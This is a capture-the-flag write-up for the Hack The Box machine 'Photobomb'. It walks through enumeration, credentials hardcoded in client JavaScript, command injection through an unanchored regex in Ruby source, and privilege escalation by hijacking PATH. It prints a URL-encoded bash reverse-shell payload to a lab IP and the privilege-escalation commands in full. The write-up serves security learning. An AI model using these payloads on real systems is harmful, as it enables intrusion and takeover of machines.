Photobomb writeup
30 November, 2022 00:00 CET
INDEX
Enumeration
nmap -sV -p- -A 10.10.11.182
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e22473bbfbdf5cb520b66876748ab58d (RSA) | 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA) |_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://photobomb.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- I visit the website
<html> <head> <title>Photobomb</title> <link type="text/css" rel="stylesheet" href="styles.css" media="all" /> <script src="photobomb.js"></script> </head> <body> <div id="container"> <header> <h1><a href="/">Photobomb</a></h1> </header> <article> <h2>Welcome to your new Photobomb franchise!</h2> <p>You will soon be making an amazing income selling premium photographic gifts.</p> <p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p> <p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p> <p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p> </article> </div> </body> </html>
a login is required to access the
/printer
page -
We can try to do a directory enumeration, to find few particoular pages. For this purpose I’ll use
dirbuster
: - Maybe
photobomb.js
could contain something interesting… let’s check what’s inside it:function init() { // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) { document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer'); } } window.onload = init;
pH0t0:b0Mb!
are the credentials for accessing the/printer
page via HTTP Basic Authentication. See references.Thanks to the credentials I can log in and see the page
/printer
:<html> <head> <title>Photobomb</title> <link type="text/css" rel="stylesheet" href="styles.css" media="all" /> </head> <body> <div id="container"> <header> <h1><a href="/">Photobomb</a></h1> </header> <form id="photo-form" action="/printer" method="post"> <h3>Select an image</h3> <fieldset id="image-wrapper"> <input type="radio" name="photo" value="voicu-apostol-MWER49YaD-M-unsplash.jpg" id="voicu-apostol-MWER49YaD-M-unsplash.jpg" checked="checked" /><label for="voicu-apostol-MWER49YaD-M-unsplash.jpg" style="background-image: url(ui_images/voicu-apostol-MWER49YaD-M-unsplash.jpg)"></label><input type="radio" name="photo" value="masaaki-komori-NYFaNoiPf7A-unsplash.jpg" id="masaaki-komori-NYFaNoiPf7A-unsplash.jpg"/><label for="masaaki-komori-NYFaNoiPf7A-unsplash.jpg" style="background-image: url(ui_images/masaaki-komori-NYFaNoiPf7A-unsplash.jpg)"></label><input type="radio" name="photo" value="andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg" id="andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg"/><label for="andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg" style="background-image: url(ui_images/andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg)"></label><input type="radio" name="photo" value="tabitha-turner-8hg0xRg5QIs-unsplash.jpg" id="tabitha-turner-8hg0xRg5QIs-unsplash.jpg"/><label for="tabitha-turner-8hg0xRg5QIs-unsplash.jpg" style="background-image: url(ui_images/tabitha-turner-8hg0xRg5QIs-unsplash.jpg)"></label><input type="radio" name="photo" value="nathaniel-worrell-zK_az6W3xIo-unsplash.jpg" id="nathaniel-worrell-zK_az6W3xIo-unsplash.jpg"/><label for="nathaniel-worrell-zK_az6W3xIo-unsplash.jpg" style="background-image: url(ui_images/nathaniel-worrell-zK_az6W3xIo-unsplash.jpg)"></label><input type="radio" name="photo" value="kevin-charit-XZoaTJTnB9U-unsplash.jpg" id="kevin-charit-XZoaTJTnB9U-unsplash.jpg"/><label for="kevin-charit-XZoaTJTnB9U-unsplash.jpg" style="background-image: url(ui_images/kevin-charit-XZoaTJTnB9U-unsplash.jpg)"></label><input type="radio" name="photo" value="calvin-craig-T3M72YMf2oc-unsplash.jpg" id="calvin-craig-T3M72YMf2oc-unsplash.jpg"/><label for="calvin-craig-T3M72YMf2oc-unsplash.jpg" style="background-image: url(ui_images/calvin-craig-T3M72YMf2oc-unsplash.jpg)"></label><input type="radio" name="photo" value="eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg" id="eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg"/><label for="eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg" style="background-image: url(ui_images/eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg)"></label><input type="radio" name="photo" value="finn-whelen-DTfhsDIWNSg-unsplash.jpg" id="finn-whelen-DTfhsDIWNSg-unsplash.jpg"/><label for="finn-whelen-DTfhsDIWNSg-unsplash.jpg" style="background-image: url(ui_images/finn-whelen-DTfhsDIWNSg-unsplash.jpg)"></label><input type="radio" name="photo" value="almas-salakhov-VK7TCqcZTlw-unsplash.jpg" id="almas-salakhov-VK7TCqcZTlw-unsplash.jpg"/><label for="almas-salakhov-VK7TCqcZTlw-unsplash.jpg" style="background-image: url(ui_images/almas-salakhov-VK7TCqcZTlw-unsplash.jpg)"></label><input type="radio" name="photo" value="mark-mc-neill-4xWHIpY2QcY-unsplash.jpg" id="mark-mc-neill-4xWHIpY2QcY-unsplash.jpg"/><label for="mark-mc-neill-4xWHIpY2QcY-unsplash.jpg" style="background-image: url(ui_images/mark-mc-neill-4xWHIpY2QcY-unsplash.jpg)"></label><input type="radio" name="photo" value="wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg" id="wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg"/><label for="wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg" style="background-image: url(ui_images/wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg)"></label> </fieldset> <fieldset id="image-settings"> <label for="filetype">File type</label> <select name="filetype" title="JPGs work on most printers, but some people think PNGs give better quality"> <option value="jpg">JPG</option> <option value="png">PNG</option> </select> <div class="product-list"> <input type="radio" name="dimensions" value="3000x2000" id="3000x2000" checked="checked"/><label for="3000x2000">3000x2000 - mousemat</label> <input type="radio" name="dimensions" value="1000x1500" id="1000x1500"/><label for="1000x1500">1000x1500 - mug</label> <input type="radio" name="dimensions" value="600x400" id="600x400"/><label for="600x400">600x400 - phone cover</label> <input type="radio" name="dimensions" value="300x200" id="300x200"/><label for="300x200">300x200 - keyring</label> <input type="radio" name="dimensions" value="150x100" id="150x100"/><label for="150x100">150x100 - usb stick</label> <input type="radio" name="dimensions" value="30x20" id="30x20"/><label for="30x20">30x20 - micro SD card</label> </div> </fieldset> <div class="controls"> <button type="submit">download photo to print</button> </div> </form> </div> </body> </html>
-
The site allows me to choose one of the images from the gallery and download it in different formats and resolutions. I fill out the form and press the download photo to print button. I use Burpsuite to see what’s going on:
POST /printer HTTP/1.1 Host: photobomb.htb Content-Length: 78 Cache-Control: max-age=0 Authorization: Basic cEgwdDA6YjBNYiE= Origin: http://photobomb.htb DNT: 1 Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://photobomb.htb/printer Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 sec-gpc: 1 Connection: close photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=3000x2000
NOTE: since the HTTP Basic Authentication technology is used, it is necessary to add the
Authorization: Basic cEgwdDA6YjBNYiE=
header to all requests in order to be effectively logged in. -
Since the images are chosen from the
/ui_images
directory maybe I can do a Path Traversal attackUnfortunately I had poor results but got an interesting error:
photo=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd&filetype=jpg&dimensions=1
→ArgumentError - invalid byte sequence in UTF8
The
%c0%af
corresponds to the..À¯
, explanation.And the debug screen tells me that server side
ruby
is present with sinatrarb:/usr/lib/ruby/vendor_ruby/sinatra/base.rb
Also if I click on the debug code lines I can see the source code:
post '/printer' do photo = params[:photo] filetype = params[:filetype] dimensions = params[:dimensions] # handle inputs if photo.match(/\.{2}|\//) halt 500, 'Invalid photo.' end if !FileTest.exist?( "source_images/" + photo ) halt 500, 'Source photo does not exist.' end
The regex in the above source code (
photo.match(/\.{2}|\//)
) defeats all attempts at a Path Traversal Attack. -
I try to replicate that error in all other fields to enumerate other parts of the source code:
photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=jpg&dimensions=..%c0%af
andphoto=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=..%c0%af&dimensions=1x1
return again anArgumentError - invalid byte sequence in UTF8
halt 500, 'Source photo does not exist.' end if !filetype.match(/^(png|jpg)/) halt 500, 'Invalid filetype.' end if !dimensions.match(/^[0-9]+x[0-9]+$/) halt 500, 'Invalid dimensions.' end case filetype when 'png' content_type 'image/png' when 'jpg'
The second regex
!dimensions.match(/^[0-9]+x[0-9]+$/)
is correct while the first!filetype.match(/^(png|jpg)/)
does not have the$
at the end. -
I try to get another kind of error by using an illegal character in filenames for Linux file systems:
photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=png%00&dimensions=1x1
→ArgumentError - path name contains null byte
when 'jpg' content_type 'image/jpeg' end filename = photo.sub('.jpg', '') + '_' + dimensions + '.' + filetype response['Content-Disposition'] = "attachment; filename=#{filename}" if !File.exists?('resized_images/' + filename) command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename puts "Executing: #{command}" system(command) else puts "File already exists." end
Bingo! A system command is used for the conversion to which the previous parameters sanitized by the regexes are passed.
A command injection vulnerability is present in the final filetype regex
/^(png|jpg)/
because without the ending$
I can add anything I want. -
Exploit the vulnerability:
photo=kevin-charit-XZoaTJTnB9U-unsplash.jpg&filetype=png%3B%20bash%20%2Dc%20%22bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E14%2E89%2F4444%200%3E%261%22&dimensions=1x1
(I’ve URL encoded the exploit; bash -c "bash -i >& /dev/tcp/10.10.14.89/4444 0>&1"
)Reverse shell obtained!
Privesc
I start analyzing the system with: sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
NOTE: env_reset
undoes all changes to $PATH
https://www.sudo.ws/docs/man/1.8.13/sudoers.man/
NOTE: SETENV
allows you to override this by adding the --preserve-env
option to sudo
It looks like I can run the /opt/cleanup.sh
file as root. I look at what this script does.
Ok, as the name says this script cleans the log files and protects the original photos by making them accessible only to root.
But wait, the script executes find command with relative path!
This is great because I can change the $PATH
to run as root whatever I want!
NOTE: I can do this because we have SETENV
permission in the file
export PATH="/tmp/bin:$PATH"
mkdir -p /tmp/bin
echo '#!/bin/bash' > /tmp/bin/find
echo 'cat /root/root.txt > /tmp/flag' >> /tmp/bin/find
echo 'chown wizard:wizard /tmp/flag' >> /tmp/bin/find
chmod +x /tmp/bin/find
sudo --preserve-env=PATH /opt/cleanup.sh
Root flag taken!